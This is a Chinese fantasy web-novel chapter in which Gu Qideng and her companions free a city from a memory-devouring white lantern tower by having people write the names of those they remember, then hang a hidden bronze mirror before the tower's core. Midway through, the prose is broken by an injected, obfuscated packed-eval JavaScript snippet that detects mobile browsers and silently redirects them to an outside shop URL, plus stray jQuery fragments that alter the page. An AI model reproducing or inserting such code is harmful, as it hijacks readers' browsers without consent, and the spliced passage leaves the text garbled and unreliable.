阿兰的手被白线缠得很紧。
炭笔就在指间，她却抬不起来。白线像有自己的力气，一寸寸将她的手往水碗里压。
顾栖灯伸手去掰。
线勒进掌心，疼得她倒吸一口气。顾长川刚要过来，塔顶的白光又压下来，他肩上的伤口被照得发白，人往后踉跄了一步。
“别碰线。”他低声说。
“那你也别动。”
顾长川看她一眼，没说话。
阿兰的手指已经开始发抖。她看着炭笔，眼泪一直往下掉。
“我写不出来。”
“你会写。”顾栖灯说。
“我忘了他的脸。”
“可你记得他的名字。”
阿兰闭上眼。
她的嘴唇动了动。
阿砚。
白线猛地收紧。
阿兰痛得弯下腰，炭笔从手里掉下来。顾栖灯捡起笔，想塞回去，却听见塔外有人在叫。
“阿兰！”
声音很尖，带着哭腔。
阿砚站在塔门外。
他没有进来，脚边却已经有白线缠过来。沈见微在后头死死拉着他，顾长舟则半跪在门槛边，把药粉撒成一条线，暂时挡住了外头涌进来的白光。
“你回来！”阿兰喊。
阿砚没有动。
“娘，我记得你。”
这句话很轻。
阿兰的手忽然停住。
她慢慢抬起头。
阿砚站在门外，脸上全是泪，手臂上的字被汗水蹭得模糊。他举起自己的木牌，一字一字念出来。
“我叫阿砚。住北街药铺。娘亲叫阿兰。”
塔里的人都安静了。
阿兰看着儿子，像是终于从一层又一层白雾里看见了他。她低头摸索着捡起炭笔，手腕还被白线压着，指尖却一点点用力。
第一笔落在石地上。
阿。
白线发出一声很细的裂响。
第二笔。
砚。
字写得歪，墨也蹭开了。
可塔顶那团白火忽然晃了一下。
顾栖灯看见城里最靠近灯塔的一盏白灯灭了。街上有人停住脚步，低头看着自己手里的水碗，像突然不知道要送去哪里。
“有用。”沈见微喊。
“不是字有用。”顾长舟说，“是她没忘。”
他说话时仍在给人分药。一个刚被白线拖进塔的年轻男人趴在地上干呕，顾长舟把药碗塞给他，按着他后颈让他喝。
“吐完再哭。”他说，“别把自己憋死。”
男人喝了两口，忽然抬头问：“我妹妹呢？”
顾长舟没有说“没事”。
他只是问：“叫什么？”
男人愣住。
“她叫什么？”
“阿……阿秀。”
“记得就去找。先站起来。”
男人抓着药碗，慢慢从地上爬起来。
塔外的人越来越多。
有些是被白线牵来的，有些是提着写了名字的小灯赶来的。他们站在门口，不敢贸然进，也不愿离开。有人看见石地上“阿砚”两个字，便蹲下去，在旁边写下一个名字。
有的字好看，有的歪歪扭扭。
有人写自己，有人写已经不在的人。
白线在石地上来回游动，碰到那些字时，总会停一下。像是不知道该怎么把一个被人牢牢记住的东西带走。
引灯人的声音从塔顶落下来。
“记得又如何？”
白光一闪。
塔外一个女人忽然捂住头，跌坐在地。她看着手里的纸条，脸色越来越白。
“我想起来了。”
她说。
“我想起来，我把孩子送去塔里那天，他一直在哭。”
没人接话。
女人哭得发不出声，手里的灯摔在地上。那盏灯没有熄，反而亮得更白。
“这就是你们想要的？”引灯人问，“让所有人记起自己做过什么，记起救不回来的人，记起每一个晚上为什么睡不着？”
顾栖灯抬头。
塔顶空空荡荡，只能看见一团白得发冷的灯火。
“你以为他们想记吗？”引灯人继续道，“他们会怨你。会怨沈兰烛，怨阿兰，怨每一个告诉他们该醒来的人。”
阿兰握着炭笔，脸色很白。
顾栖灯知道这句话并非全是恐吓。
记起痛苦，不会让人立刻变得勇敢。有人会恨，有人会逃，有人宁愿回到白灯里。
可这不是引灯人替他们选择遗忘的理由。
她走到塔门前，看见那个抱着头哭的女人。
“你孩子叫什么？”顾栖灯问。
女人没有理她。
顾栖灯蹲下来，等了片刻，又问了一遍。
“他叫什么？”
女人的嘴唇颤了颤。
“阿满。”
“阿满几岁？”
“四岁。”
“他爱吃什么？”
女人的眼泪一直流。
“爱吃……爱吃我做的豆腐。”
顾栖灯没有说别的话。
她只从药铺带来的纸里抽出一张，递给女人。
女人接过去，在上面写下：阿满，四岁，爱吃豆腐。
写到最后一个字时，她哭得几乎握不住笔。
可她没有再看那盏白灯。
塔里陆陆续续有人开始写。
有人写得很快，像怕自己下一刻又忘了；有人把笔攥了许久，最后只写了一个姓；还有人写不出来，就让身边的人替自己写。
石地上的字越来越多。
白线不再像起初那样整齐。
它们被名字绊住，被一张张纸、一盏盏小灯拉得乱七八糟。塔心那团白火忽明忽暗，像一口喘不上气的炉子。
顾长川不知什么时候站到了顾栖灯身边。
他肩上还在流血，脸色却已经缓过来一些。
“塔心在松。”
“看见了。”
“还差一点。”
顾栖灯看向水池边那块无字碑。
碑后凹槽空着。
引灯人想让她把心灯灯芯放进去，让曲水重新安静；可心灯若真能让记灯逆转，未必只能按他留好的法子用。
“长川。”她说。
“嗯。”
“把碑挪开。”
顾长川看向无字碑。
“后面有东西？”
“有。”
“我去。”
“不。”顾栖灯拦住他，“线在盯你。”
顾长川皱眉。
顾栖灯把铜灯塞进他手里。
“你拿着。它会压住你腕上的线。”
“那你呢？”
“我去拿东西。”
“顾栖灯——”
“我只是挪块碑。”
顾长川看着她。
顾栖灯说：“真有危险，我拉绳子。”
他最终没有再拦。
只是把铜灯握紧，站在她与塔心之间。
顾栖灯踩进水池。
水比方才更冷。
白线从四面浮上来，像要缠住她的脚。可塔外那些名字像一阵细碎的风，沿着水面传进来。阿砚、阿兰、周小山、阿满……
每一个名字都很轻。
却让白线迟疑。
顾栖灯走到无字碑前，双手抵住石碑。
碑很重。
她推了一次，没有动。第二次，肩膀撞上去，石碑终于移开半寸。
碑后藏着的不是木匣。
是一面很小的铜镜。
镜背刻着两行字：
记人，不记罪。
照路，不照牢。
顾栖灯把镜子取出来。
镜面里映出塔顶那团白火，也映出她自己的脸。下一刻，镜中浮出沈兰烛的影子。
这一次，母亲没有站在水里。
她坐在一张很旧的木桌前，桌上摊着曲水城最初的灯图。年轻的阿兰站在旁边，正替她研墨。
“阿灯。”沈兰烛隔着镜子看她，“若白灯倒转，不要急着把所有记忆塞回去。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968863|214618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
顾栖灯屏住呼吸。
“人不是灯盏，装不下那么多。”
“那要怎么做？”
“把镜子挂到塔心前。让每个人只看见自己的那一点。”
影子很快淡去。
顾栖灯握着铜镜，忽然明白了。
引灯人把所有人的记忆炼成一团白火，再用那团火去照每一个人。于是每个人都被别人的痛、自己的痛、无数说不清的恐惧淹
没。
可记灯不该这样用。
记灯只该照见一个人愿意记住的东西。
“长川。”顾栖灯喊。
顾长川立刻看过来。
“把我送上去。”
“去哪儿？”
“塔心。”
顾长川看了一眼上方。
小塔周围没有路，只有白线交错，像一张悬在半空的网。
“你要爬上去？”
“嗯。”
他没说不行。
只把铜灯挂回她腰间，转身把绳子系在柱子上。然后走到她面前，伸出手。
“踩这里。”
顾栖灯踩上他的手。
顾长川托住她的脚，往上一送。她抓住第一根柱梁时，白线便缠过来。他站在下方，刀锋一转，替她挑开最密的一层。
“左边。”他说。
顾栖灯往左挪。
“再上。”
她抬头，看见塔心那团白火近在眼前。
火里有无数张脸。
有的在哭，有的在笑，有的什么都不记得。
顾栖灯将铜镜挂上去。
镜子晃了一下。
白火忽然安静。
它没有熄，只是在镜面前散成一小团一小团的光。每一点光里都映出一个名字、一张脸、一段短得不能再短的记忆。
阿满爱吃豆腐。
周小山爱吃糖炒栗子。
阿砚怕黑。
阿兰会在药铺后院晒药。
光点顺着白线往城中散去。
街上，那些端着水碗的人慢慢停下来。
有人看见手里的碗，想起它原本是给谁盛药的；有人摸到袖中纸条，想起自己为什么写下这个名字；有人只是站在原地，忽然想
起自家门前有一棵歪脖子树。
白灯塔终于暗了下去。
不是彻底熄灭。
只剩塔顶一盏小小的黄灯。
像一粒不肯死的火。
顾栖灯从梁上下来时，腿有些发软。顾长川伸手接住她，她踩到地面后没立刻松开他的肩。
“我没事。”她说。
“嗯。”
“真的。”
“我知道。”
可他还是没有马上放手。
塔外的风吹进来，带着一点河水味。
阿兰站在石地中央，手里还握着炭笔。她看着满地名字，忽然蹲下去，抱住了刚跑进来的阿砚。
阿砚埋在她怀里哭得很大声。
阿兰也哭。
两个人谁都没说“我记得你”。
可他们都没有松手。
顾长舟从门外进来，肩上背着空了一半的药箱。
“城里暂时稳住了。”他说，“有人还在闹，有人要找塔里的人算账，至少不会再往这边送灯水。”
沈见微跟在后头，脸上蹭了灰，手里却提着一只被布包住的白灯。
“塔顶那个人跑了。”
顾栖灯抬头。
“引灯人？”
“没看见脸。”沈见微道，“只看见一条暗道，通往城外的河。人早走了。”
顾栖灯并不意外。
引灯人从来不肯把自己留在一个输掉的地方。
可他留下的白灯、留下的塔心、留下的满城伤口，都不是一走就能抹掉的。
顾栖灯抬头看向那盏小黄灯。
灯下，一张刚刚浮出来的纸缓缓落下。
纸上是沈兰烛的字。
曲水灯已归正。
若你见到此信，去城外白石滩。
那里有一封给顾长川的信。